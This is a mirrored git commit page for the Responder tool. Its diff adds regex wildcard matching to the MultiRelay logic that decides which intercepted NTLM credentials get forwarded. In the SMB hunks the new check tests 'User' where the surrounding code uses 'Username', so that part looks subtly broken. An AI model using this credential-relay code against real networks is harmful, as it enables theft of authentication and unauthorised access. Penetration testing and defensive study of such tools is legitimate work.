mirror of
https://github.com/lgandx/Responder.git
synced 2025-08-21 22:03:30 -07:00
enabled wildcard for multirelay
This commit is contained in:
parent
b510b2bb25
commit
f2f192f940
1 changed files with 4 additions and 4 deletions
|
@ -133,7 +133,7 @@ def ParseHTTPHash(data, key, client, UserToRelay, Host, Pivoting):
|
|||
if ('!' + User) in UserToRelay:
|
||||
print "[+] Username: %s is blacklisted, dropping connection." % User
|
||||
return None, None
|
||||
elif User in UserToRelay or "ALL" in UserToRelay:
|
||||
elif User in UserToRelay or "ALL" in UserToRelay or [x for x in UserToRelay if re.match(x+"$",User)]:
|
||||
if Pivoting[0] == "1":
|
||||
return User, Domain
|
||||
print "[+] Username: %s is whitelisted, forwarding credentials."%(User)
|
||||
|
@ -165,7 +165,7 @@ def ParseHTTPHash(data, key, client, UserToRelay, Host, Pivoting):
|
|||
pass
|
||||
else:
|
||||
print "[+] Received NTLMv2 hash from: %s %s"%(client, ShowSmallResults((client,445)))
|
||||
if User in UserToRelay or "ALL" in UserToRelay:
|
||||
if User in UserToRelay or "ALL" in UserToRelay or [x for x in UserToRelay if re.match(x+"$",User)]:
|
||||
if Pivoting[0] == "1":
|
||||
return User, Domain
|
||||
|
||||
|
@ -210,7 +210,7 @@ def ParseSMBHash(data,client, challenge,UserToRelay,Host,Pivoting): #Parse SMB
|
|||
pass
|
||||
else:
|
||||
print "[+] Received NTLMv1 hash from: %s %s"%(client, ShowSmallResults((client,445)))
|
||||
if Username in UserToRelay or "ALL" in UserToRelay:
|
||||
if Username in UserToRelay or "ALL" in UserToRelay or [x for x in UserToRelay if re.match(x+"$",User)]:
|
||||
if Pivoting[0] == "1":
|
||||
return Username, Domain
|
||||
|
||||
|
@ -244,7 +244,7 @@ def ParseSMBHash(data,client, challenge,UserToRelay,Host,Pivoting): #Parse SMB
|
|||
pass
|
||||
else:
|
||||
print "[+] Received NTLMv2 hash from: %s %s"%(client, ShowSmallResults((client,445)))
|
||||
if Username in UserToRelay or "ALL" in UserToRelay:
|
||||
if Username in UserToRelay or "ALL" in UserToRelay or [x for x in UserToRelay if re.match(x+"$",User)]:
|
||||
if Pivoting[0] == "1":
|
||||
return Username, Domain
|
||||
print "[+] Username: %s is whitelisted, forwarding credentials."%(Username)
|
||||
|
|
Loading…
Add table
Add a link
Reference in a new issue